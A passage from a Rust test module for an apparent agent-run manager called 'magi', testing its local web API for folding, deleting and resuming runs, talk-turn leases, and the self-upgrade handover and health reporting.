13998 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
13999 continue;
14000 }
14001 let rest = &updaters[at + 2..];
14002 let len = rest
14003 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
14004 .unwrap_or(rest.len());
14005 if len > 0 {
14006 used.push(&rest[..len]);
14007 }
14008 }
14009 assert!(
14010 used.len() > 5,
14011 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
14012 );
14013
14014 let missing: Vec<&str> = used
14015 .iter()
14016 .copied()
14017 .filter(|name| !published.contains(name))
14018 .collect();
14019 assert!(
14020 missing.is_empty(),
14021 "a run card's updater reaches for {missing:?}, which `createRunCard` \
14022 never put in `refs` - every card will throw and the list will \
14023 render empty under a count line that says otherwise. Published: \
14024 {published:?}"
14025 );
14026 }
14027
14028 #[tokio::test]
14029 async fn folding_from_the_phone_reports_what_it_removed() {
14030 let fx = Fixture::start().await;
14031 let runs = fx.runs();
14032
14033 let id = "20260901-000000-fold";
14037 write_run(&runs, id, RunStatus::Stalled);
14038 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14039 assert_eq!(res.status, 200);
14040 assert_eq!(res.json()["removed_count"], 0);
14041 assert_eq!(res.json()["run"], id);
14042 assert!(
14043 runs.join(id).exists(),
14044 "a fold keeps the run's record; only the worktrees go"
14045 );
14046 }
14047
14048 #[tokio::test]
14049 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
14050 let fx = Fixture::start().await;
14051 let runs = fx.runs();
14052 let wt = fx.home.path().join("wt").join("magi").join("dead");
14053 let id = "20260901-000000-dead";
14054 std::fs::create_dir_all(runs.join(id)).expect("run dir");
14055 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14056 std::fs::create_dir_all(&wt).expect("worktree dir");
14057
14058 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14059 assert_eq!(res.status, 200, "{}", res.body);
14060 assert!(
14061 res.json()["removed_count"].as_u64().unwrap() > 0,
14062 "the worktree this build could not read a state for still went"
14063 );
14064 assert!(
14065 !runs.join(id).exists(),
14066 "an unreadable run has no candidate list to fold selectively, so \
14067 the whole record goes - same as `magi fold` on the CLI"
14068 );
14069 }
14070
14071 #[tokio::test]
14072 async fn deleting_an_unreadable_run_removes_it_wholesale() {
14073 let fx = Fixture::start().await;
14074 let runs = fx.runs();
14075 let wt = fx.home.path().join("wt").join("magi").join("gone");
14076 let id = "20260901-000000-gone";
14077 std::fs::create_dir_all(runs.join(id)).expect("run dir");
14078 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14079 std::fs::create_dir_all(&wt).expect("worktree dir");
14080
14081 let res = fx.delete(&format!("/api/runs/{id}")).await;
14082 assert_eq!(res.status, 204, "{}", res.body);
14083 assert!(!runs.join(id).exists(), "the broken record is gone");
14084 assert!(!wt.exists(), "its worktree is gone too");
14085 }
14086
14087 #[tokio::test]
14088 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
14089 let fx = Fixture::start().await;
14090 let runs = fx.runs();
14091 let id = "20260901-000000-live";
14092 write_run(&runs, id, RunStatus::Implementing);
14093
14094 let mut beat = crate::daemon::Status::new();
14095 beat.current = vec![crate::daemon::Current {
14096 task: "20260901-000000-task".to_owned(),
14097 run: id.to_owned(),
14098 }];
14099 beat.updated_at = jiff::Timestamp::now();
14100 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14101 .expect("publish a heartbeat");
14102
14103 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14104 assert_eq!(res.status, 409);
14105 assert!(
14106 res.json()["error"]
14107 .as_str()
14108 .unwrap()
14109 .contains("live daemon"),
14110 "folding under a running agent would pull its worktree away"
14111 );
14112 }
14113
14114 #[tokio::test]
14115 async fn fold_merged_requires_a_pr_url() {
14116 let fx = Fixture::start().await;
14117 let runs = fx.runs();
14118 let id = "20260901-000000-nourl";
14119 write_run(&runs, id, RunStatus::Blocked);
14120
14121 let res = fx
14122 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
14123 .await;
14124 assert_eq!(res.status, 400, "{}", res.body);
14125
14126 let blank = fx
14127 .post(
14128 &format!("/api/runs/{id}/fold-merged"),
14129 Some(r#"{"pr_url":" "}"#),
14130 )
14131 .await;
14132 assert_eq!(blank.status, 400, "{}", blank.body);
14133 }
14134
14135 #[tokio::test]
14136 async fn fold_merged_is_404_for_an_unknown_run() {
14137 let fx = Fixture::start().await;
14138 let res = fx
14139 .post(
14140 "/api/runs/nosuchrun/fold-merged",
14141 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14142 )
14143 .await;
14144 assert_eq!(res.status, 404, "{}", res.body);
14145 }
14146
14147 #[tokio::test]
14148 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
14149 let fx = Fixture::start().await;
14150 let runs = fx.runs();
14151 let id = "20260901-000000-livemerge";
14152 write_run(&runs, id, RunStatus::Blocked);
14153
14154 let mut beat = crate::daemon::Status::new();
14155 beat.current = vec![crate::daemon::Current {
14156 task: "20260901-000000-task".to_owned(),
14157 run: id.to_owned(),
14158 }];
14159 beat.updated_at = jiff::Timestamp::now();
14160 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14161 .expect("publish a heartbeat");
14162
14163 let res = fx
14164 .post(
14165 &format!("/api/runs/{id}/fold-merged"),
14166 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14167 )
14168 .await;
14169 assert_eq!(res.status, 409, "{}", res.body);
14170 assert!(
14171 res.json()["error"]
14172 .as_str()
14173 .unwrap()
14174 .contains("live daemon"),
14175 "correcting a run's merge underneath a running agent would race \
14176 whatever it is doing to the same `status`/`merge` fields"
14177 );
14178 }
14179
14180 #[tokio::test]
14185 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
14186 let fx = Fixture::start().await;
14187 let runs = fx.runs();
14188 let id = "20260901-000000-unconfirmed";
14189 write_run(&runs, id, RunStatus::Blocked);
14190
14191 let res = fx
14192 .post(
14193 &format!("/api/runs/{id}/fold-merged"),
14194 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14195 )
14196 .await;
14197 assert_eq!(res.status, 400, "{}", res.body);
14198 assert_eq!(
14199 read_run(&runs, id).unwrap().status,
14200 RunStatus::Blocked,
14201 "a pull request that could not be confirmed merged must leave \
14202 the run exactly where it was"
14203 );
14204 }
14205
14206 #[tokio::test]
14207 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
14208 let fx = Fixture::start().await;
14209 let runs = fx.runs();
14210
14211 for (status, word) in [
14217 (RunStatus::Merged, "merged"),
14218 (RunStatus::Ready, "ready"),
14219 (RunStatus::Failed, "failed"),
14220 ] {
14221 let id = format!("20260901-000000-{}", &word[..4]);
14222 write_run(&runs, &id, status);
14223 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
14224 assert_eq!(res.status, 409, "{word} must not be resumable");
14225 let err = res.json()["error"].as_str().unwrap().to_owned();
14226 assert!(err.contains(word), "the refusal names the status: {err}");
14227 }
14228
14229 let mid = "20260901-000000-midf";
14234 write_run(&runs, mid, RunStatus::Reviewing);
14235 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
14236 assert_eq!(res.status, 202, "an interrupted run is resumable");
14237 }
14238
14239 #[tokio::test]
14240 async fn resume_is_refused_while_the_loop_is_running() {
14241 let fx = Fixture::start().await;
14242 let runs = fx.runs();
14243 let stalled = "20260901-000000-stal";
14244 write_run(&runs, stalled, RunStatus::Stalled);
14245
14246 let mut beat = crate::daemon::Status::new();
14250 beat.current = vec![crate::daemon::Current {
14251 task: "20260901-000000-task".to_owned(),
14252 run: "20260901-000000-othr".to_owned(),
14253 }];
14254 beat.updated_at = jiff::Timestamp::now();
14255 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14256 .expect("publish a heartbeat");
14257
14258 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
14259 assert_eq!(res.status, 409);
14260 let err = res.json()["error"].as_str().unwrap().to_owned();
14261 assert!(err.contains("othr"), "it names what the loop is on: {err}");
14262 assert!(err.contains("stop it first"), "{err}");
14263 }
14264
14265 #[test]
14266 fn a_run_cannot_be_resumed_twice_at_once() {
14267 let home = TempDir::new().expect("temp home");
14268 let ui = Ui::new(
14269 Queue::at(home.path().join("queue")),
14270 Questions::at(home.path().join("questions")),
14271 Talks::at(home.path().join("talks")),
14272 home.path().join("runs"),
14273 home.path().to_path_buf(),
14274 PathBuf::from("/repo"),
14275 )
14276 .with_worktrees_root(home.path().join("wt"));
14277 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
14278 let again = ui.begin_resume("20260901-000000-once");
14279 assert!(again.is_err(), "a second tap must not start a second graph");
14280 drop(first);
14281 assert!(
14282 ui.begin_resume("20260901-000000-once").is_ok(),
14283 "and the claim is released when the attempt ends"
14284 );
14285 }
14286
14287 #[test]
14288 fn talk_thinking_tracks_only_its_held_turn_claim() {
14289 let home = TempDir::new().expect("temp home");
14290 let ui = Ui::new(
14291 Queue::at(home.path().join("queue")),
14292 Questions::at(home.path().join("questions")),
14293 Talks::at(home.path().join("talks")),
14294 home.path().join("runs"),
14295 home.path().to_path_buf(),
14296 PathBuf::from("/repo"),
14297 )
14298 .with_worktrees_root(home.path().join("wt"));
14299 let id = "20260901-000000-once";
14300
14301 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
14302 let turn = ui.begin_talk_turn(id).expect("claim turn");
14303 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
14304 assert!(
14305 !ui.is_thinking("20260901-000000-other"),
14306 "one talk's turn does not make another talk busy"
14307 );
14308 drop(turn);
14309 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
14310 }
14311
14312 #[test]
14313 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
14314 let home = TempDir::new().expect("temp home");
14315 let talks = Talks::at(home.path().join("talks"));
14316 let ui = Ui::new(
14317 Queue::at(home.path().join("queue")),
14318 Questions::at(home.path().join("questions")),
14319 talks.clone(),
14320 home.path().join("runs"),
14321 home.path().to_path_buf(),
14322 PathBuf::from("/repo"),
14323 )
14324 .with_worktrees_root(home.path().join("wt"));
14325 let id = "20260901-000000-cross";
14326
14327 let other = Talks::at(home.path().join("talks"))
14328 .claim_turn(id)
14329 .expect("claim")
14330 .expect("the other process wins");
14331 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
14332 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
14333 assert!(
14334 matches!(
14335 ui.begin_talk_turn_unless_pending(id).expect("start"),
14336 TalkTurnStart::Foreign
14337 ),
14338 "a foreign holder is refused, not queued behind"
14339 );
14340 assert!(
14341 !ui.talk_turns.lock().unwrap().live.contains(id),
14342 "a refused claim leaves no in-process entry behind"
14343 );
14344 drop(other);
14345 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
14346 assert!(talks.turn_held(id), "the web turn holds the lease");
14347 drop(turn);
14348 assert!(
14349 !talks.turn_held(id),
14350 "dropping the guard releases the lease"
14351 );
14352 }
14353
14354 #[test]
14355 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
14356 let home = TempDir::new().expect("temp home");
14357 let talks = Talks::at(home.path().join("talks"));
14358 let ui = Ui::new(
14359 Queue::at(home.path().join("queue")),
14360 Questions::at(home.path().join("questions")),
14361 talks.clone(),
14362 home.path().join("runs"),
14363 home.path().to_path_buf(),
14364 PathBuf::from("/repo"),
14365 )
14366 .with_worktrees_root(home.path().join("wt"));
14367 let id = "20260901-000000-order";
14368 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
14369 let slots = ui.talk_turns.lock().unwrap();
14371 let dropper = std::thread::spawn(move || drop(turn));
14372 let start = std::time::Instant::now();
14373 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
14374 std::thread::sleep(Duration::from_millis(5));
14375 }
14376 assert!(!talks.turn_held(id), "the lease is released first");
14377 assert!(slots.live.contains(id), "the slot is still held meanwhile");
14378 drop(slots);
14379 dropper.join().expect("join");
14380 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
14381 }
14382
14383 #[tokio::test]
14384 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
14385 let fx = Fixture::start().await;
14386 let mut beat = crate::daemon::Status::new();
14390 beat.pid = 4321;
14391 beat.updated_at = jiff::Timestamp::now();
14392 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14393 .expect("publish a heartbeat");
14394
14395 let res = fx.post("/api/upgrade", None).await;
14396 assert_eq!(res.status, 409);
14397 let err = res.json()["error"].as_str().unwrap().to_owned();
14398 assert!(err.contains("4321"), "the refusal names the owner: {err}");
14399 assert!(err.contains("old one against the same queue"), "{err}");
14400 }
14401
14402 #[test]
14409 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
14410 assert!(!should_spawn_recheck(&crate::config::Update {
14411 mode: UpdateMode::Off,
14412 interval: None,
14413 }));
14414
14415 unsafe {
14418 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14419 }
14420 let killed = should_spawn_recheck(&crate::config::Update {
14421 mode: UpdateMode::Notify,
14422 interval: None,
14423 });
14424 unsafe {
14425 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14426 }
14427 assert!(
14428 !killed,
14429 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
14430 one-time startup check"
14431 );
14432
14433 assert!(should_spawn_recheck(&crate::config::Update {
14434 mode: UpdateMode::Notify,
14435 interval: None,
14436 }));
14437 }
14438
14439 #[test]
14445 fn recheck_poll_period_tracks_a_short_configured_interval() {
14446 let short = crate::config::Update {
14447 mode: UpdateMode::Notify,
14448 interval: Some("1m".to_owned()),
14449 };
14450 let period = recheck_poll_period(&short);
14451 assert!(
14452 period <= Duration::from_secs(30),
14453 "a one-minute interval must wake the task far sooner than the \
14454 default ceiling, or the deck would not notice within the \
14455 interval the operator configured: got {period:?}"
14456 );
14457
14458 let default = crate::config::Update {
14459 mode: UpdateMode::Notify,
14460 interval: None,
14461 };
14462 assert_eq!(
14463 recheck_poll_period(&default),
14464 UPDATE_RECHECK_POLL_MAX,
14465 "the default day-long interval should poll at the (capped) \
14466 ceiling rather than needlessly often"
14467 );
14468 }
14469
14470 #[test]
14478 fn recheck_skips_the_network_before_the_interval_elapses() {
14479 let dir = TempDir::new().expect("temp dir");
14480 let path = dir.path().join("state.json");
14481 let state = kaishin::UpdateCheckState {
14482 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
14483 last_known_latest: None,
14484 last_known_url: None,
14485 };
14486 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
14487
14488 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
14489 assert!(
14490 !update_recheck_due(&checker, None),
14491 "a check made moments ago must not be repeated before the \
14492 configured interval elapses"
14493 );
14494 }
14495
14496 #[test]
14502 fn recheck_defers_to_an_upgrade_already_in_flight() {
14503 let dir = TempDir::new().expect("temp dir");
14504 let path = dir.path().join("state.json");
14505 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
14506 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
14507
14508 assert!(
14509 !update_recheck_due(&checker, Some(&progress)),
14510 "a recheck must not run while an upgrade this deck started is \
14511 still moving"
14512 );
14513 }
14514
14515 #[tokio::test]
14516 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
14517 unsafe {
14529 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14530 }
14531 let fx = Fixture::start().await;
14532 let res = fx.post("/api/upgrade", None).await;
14533 unsafe {
14534 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14535 }
14536 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14537 let body = res.json();
14538 assert!(body["to"].is_null(), "there was no release to move to");
14539 assert!(body["parked"].is_null(), "and nothing was parked");
14540 assert!(
14541 body["detail"]
14542 .as_str()
14543 .unwrap()
14544 .contains("disabled by MAGI_NO_AUTOUPDATE"),
14545 "{body:?}"
14546 );
14547 }
14548
14549 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
14550 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
14551 p.stage = stage;
14552 p
14553 }
14554
14555 #[test]
14556 fn busy_stages_match_the_ui_set() {
14557 use crate::updater::Stage;
14558 assert!(APP_JS.contains(
14559 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
14560 ));
14561 for s in [
14562 Stage::Downloading,
14563 Stage::Replaced,
14564 Stage::Parking,
14565 Stage::Restarting,
14566 ] {
14567 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
14568 }
14569 for s in [Stage::Done, Stage::Failed] {
14570 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
14571 }
14572 assert!(upgrade_in_motion(None).is_none());
14573 }
14574
14575 #[tokio::test]
14576 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
14577 use crate::updater::Stage;
14578 for stage in [
14579 Stage::Downloading,
14580 Stage::Replaced,
14581 Stage::Parking,
14582 Stage::Restarting,
14583 ] {
14584 let fx = Fixture::start().await;
14585 let seeded = seeded_progress(stage);
14586 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
14587 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14588 .expect("read");
14589
14590 let res = fx.post("/api/upgrade", None).await;
14591 assert_eq!(res.status, 409, "{stage:?}");
14592 let err = res.json()["error"].as_str().unwrap().to_owned();
14593 assert!(err.contains("already in progress"), "{err}");
14594 assert!(err.contains(stage.as_str()), "{err}");
14595
14596 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14597 .expect("read");
14598 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
14599 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
14600 .unwrap_or_default();
14601 assert!(!log.contains("signalling HANDOVER"), "{log}");
14602 }
14603 }
14604
14605 #[tokio::test]
14606 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
14607 use crate::updater::Stage;
14608 let repo = TempDir::new().expect("repo dir");
14609 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14610 .expect("write magi.toml");
14611 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14612 for stage in [Stage::Done, Stage::Failed] {
14613 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
14614 let res = fx.post("/api/upgrade", None).await;
14615 assert_eq!(res.status, 200, "{stage:?}");
14616 }
14617 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
14619 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
14620 }
14621
14622 #[tokio::test]
14623 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
14624 let repo = TempDir::new().expect("repo dir");
14640 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14641 .expect("write magi.toml");
14642 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14643
14644 let res = fx.post("/api/upgrade", None).await;
14650 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14651 let body = res.json();
14652 assert!(body["to"].is_null(), "there was no release to move to");
14653 assert!(body["parked"].is_null(), "and nothing was parked");
14654 assert!(
14655 body["detail"]
14656 .as_str()
14657 .unwrap()
14658 .contains("nothing restarted"),
14659 "{body:?}"
14660 );
14661 }
14662
14663 #[tokio::test]
14664 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
14665 let repo = TempDir::new().expect("repo dir");
14670 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14671 .expect("write magi.toml");
14672 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14673
14674 let health = fx.get("/api/health").await.json();
14675 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
14676 assert_eq!(
14677 health["update"]["available"], false,
14678 "checking is off, which reads as \"unknown\", not \"none\""
14679 );
14680 assert!(health["update"]["to"].is_null());
14681 assert!(
14682 health["upgrade"].is_null(),
14683 "nothing has ever asked this deck to upgrade"
14684 );
14685 }
14686
14687 #[tokio::test]
14688 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
14689 let fx = Fixture::start().await;
14690 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
14691
14692 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14693 progress.parked_run = Some("20260905-000000-cd51".to_owned());
14694 progress.advance(crate::updater::Stage::Parking);
14695 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14696
14697 let health = fx.get("/api/health").await.json();
14698 assert_eq!(health["upgrade"]["stage"], "parking");
14699 assert_eq!(health["upgrade"]["from"], "0.5.1");
14700 assert_eq!(health["upgrade"]["to"], "0.5.2");
14701 let waiting_on = health["upgrade"]["waiting_on"]
14702 .as_str()
14703 .expect("waiting_on is set while parking a known run");
14704 assert!(waiting_on.contains("cd51"), "{waiting_on}");
14705 assert!(waiting_on.contains("implementing"), "{waiting_on}");
14706 }
14707
14708 #[tokio::test]
14709 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
14710 let fx = Fixture::start().await;
14711 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14712 progress.advance(crate::updater::Stage::Done);
14713 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14714
14715 let health = fx.get("/api/health").await.json();
14716 assert_eq!(health["upgrade"]["stage"], "done");
14717 assert!(
14718 health["upgrade"]["waiting_on"].is_null(),
14719 "nothing to wait on once it is done"
14720 );
14721 }
14722
14723 #[tokio::test]
14724 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
14725 let home = TempDir::new().expect("temp home");
14726 let runs = home.path().join("runs");
14727 std::fs::create_dir_all(&runs).expect("runs dir");
14728 let ui = Ui::new(
14729 Queue::at(home.path().join("queue")),
14730 Questions::at(home.path().join("questions")),
14731 Talks::at(home.path().join("talks")),
14732 runs,
14733 home.path().to_path_buf(),
14734 PathBuf::from("/repo/magi"),
14735 )
14736 .with_launch(launch_idle);
14737 let looping = ui.looping();
14738 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14739 .await
14740 .expect("bind loopback");
14741 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14742
14743 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14744 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14745
14746 hand_over(home.path(), &looping, served, |_| Ok(1))
14747 .await
14748 .expect("hand over");
14749
14750 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
14751 assert_eq!(
14752 after.stage,
14753 crate::updater::Stage::Restarting,
14754 "hand_over owns the record through parking and up to restarting; \
14755 the successor is what finishes it"
14756 );
14757 }
14758
14759 #[tokio::test]
14762 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
14763 for fail in [false, true] {
14764 let home = TempDir::new().expect("temp home");
14765 let ui = idle_ui(&home);
14766 let looping = ui.looping();
14767 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14768 .await
14769 .expect("bind loopback");
14770 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14771 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14772 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14773
14774 let calls = std::sync::atomic::AtomicUsize::new(0);
14775 let outcome = hand_over(home.path(), &looping, served, |_| {
14776 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
14777 if fail {
14778 anyhow::bail!("no exec")
14779 } else {
14780 Ok(4242)
14781 }
14782 })
14783 .await;
14784 assert_eq!(outcome.is_err(), fail);
14785 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
14786
14787 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
14788 .expect("upgrade.log is written under the home");
14789 for step in [
14790 "entered",
14791 "finish_loop",
14792 "listener released",
14793 "starting the successor",
14794 ] {
14795 assert!(log.contains(step), "missing `{step}` in:\n{log}");
14796 }
14797 assert!(
14798 log.contains(if fail { "did not start" } else { "pid 4242" }),
14799 "{log}"
14800 );
14801 }
14802 }
14803
14804 #[tokio::test]
14807 async fn the_handover_signal_wakes_one_waiter_once() {
14808 let signal = Notify::new();
14809 signal.notify_one();
14811 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
14812 .await
14813 .expect("an early signal is still seen");
14814 assert!(
14816 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
14817 .await
14818 .is_err(),
14819 "a consumed signal must not wake a second time"
14820 );
14821 let signal = std::sync::Arc::new(signal);
14823 let waiter = tokio::spawn({
14824 let signal = std::sync::Arc::clone(&signal);
14825 async move { wait_for_handover(&signal).await }
14826 });
14827 tokio::time::sleep(Duration::from_millis(20)).await;
14828 assert!(!waiter.is_finished(), "nothing was signalled yet");
14829 signal.notify_one();
14830 tokio::time::timeout(Duration::from_secs(5), waiter)
14831 .await
14832 .expect("a late signal wakes the waiter")
14833 .expect("join");
14834 }
14835
14836 #[tokio::test]
14837 async fn health_says_how_long_a_handover_has_been_stuck() {
14838 let fx = Fixture::start().await;
14839 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14840 progress.advance(crate::updater::Stage::Replaced);
14841 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
14842 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14843
14844 let health = fx.get("/api/health").await.json();
14845 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
14846 assert!(stuck >= 600, "{stuck}");
14847 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
14848 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
14849 }
14850
14851 #[tokio::test]
14852 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
14853 let home = tempfile::tempdir().expect("temp home");
14854 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14855 progress.advance(crate::updater::Stage::Parking);
14856 crate::updater::write_progress(home.path(), &progress).expect("seed");
14857 let mut again = progress.clone();
14859 again.advance(crate::updater::Stage::Replaced);
14860 crate::updater::write_progress(home.path(), &again).expect("replaced");
14861 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14862 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
14863 let after = crate::updater::read_progress(home.path()).expect("record");
14864 assert_eq!(after.stage, crate::updater::Stage::Parking);
14865 }
14866
14867 #[tokio::test]
14868 async fn health_does_not_call_a_live_parking_wait_stuck() {
14869 let fx = Fixture::start().await;
14870 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14871 progress.parked_run = Some("20260905-000000-cd51".to_owned());
14872 progress.advance(crate::updater::Stage::Parking);
14873 let hours = Duration::from_secs(3 * 3600);
14874 progress.started_at = Timestamp::now() - hours;
14875 progress.updated_at = Timestamp::now() - hours;
14876 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14877 let _lease = crate::updater::LeaseGuard::enter(
14878 fx.home.path(),
14879 Some("20260905-000000-cd51".to_owned()),
14880 );
14881
14882 let health = fx.get("/api/health").await.json();
14883 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
14884 assert!(health["upgrade"]["stuck_kind"].is_null());
14885 assert_eq!(health["upgrade"]["handover_alive"], true);
14886 let waiting_on = health["upgrade"]["waiting_on"]
14887 .as_str()
14888 .expect("waiting_on");
14889 assert!(waiting_on.contains("cd51"), "{waiting_on}");
14890 }
14891
14892 fn idle_ui(home: &TempDir) -> Ui {
14893 let runs = home.path().join("runs");
14894 std::fs::create_dir_all(&runs).expect("runs dir");
14895 Ui::new(
14896 Queue::at(home.path().join("queue")),
14897 Questions::at(home.path().join("questions")),
14898 Talks::at(home.path().join("talks")),
14899 runs,
14900 home.path().to_path_buf(),
14901 PathBuf::from("/repo/magi"),
14902 )
14903 .with_launch(launch_idle)
14904 }
14905
14906 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
14908 let looping = ui.looping();
14909 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14910 .await
14911 .expect("bind loopback");
14912 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14913 let told = std::sync::Mutex::new(None);
14914 hand_over(home.path(), &looping, served, |resume| {
14915 *told.lock().unwrap() = Some(resume);
14916 Ok(1)
14917 })
14918 .await
14919 .expect("hand over");
14920 told.into_inner().unwrap().expect("successor was started")
14921 }
14922
14923 #[tokio::test]
14924 async fn a_running_loop_is_resumed_by_the_successor() {
14925 let home = TempDir::new().expect("temp home");
14926 let ui = idle_ui(&home);
14927 ui.start_loop(None).expect("start");
14928 ui.park_for_upgrade().expect("park");
14929 for _ in 0..500 {
14931 if !ui.loop_view(None).running {
14932 break;
14933 }
14934 tokio::time::sleep(Duration::from_millis(2)).await;
14935 }
14936 assert!(handed_over(&home, ui).await, "a running loop must resume");
14937
14938 let successor = idle_ui(&home);
14939 assert!(!successor.loop_view(None).running);
14940 assert!(successor.resume_after_handover(true));
14941 assert!(successor.loop_view(None).running);
14942 successor.stop_loop(None, false).expect("stop");
14943 }
14944
14945 #[tokio::test]
14946 async fn a_second_upgrade_request_keeps_the_resume_intent() {
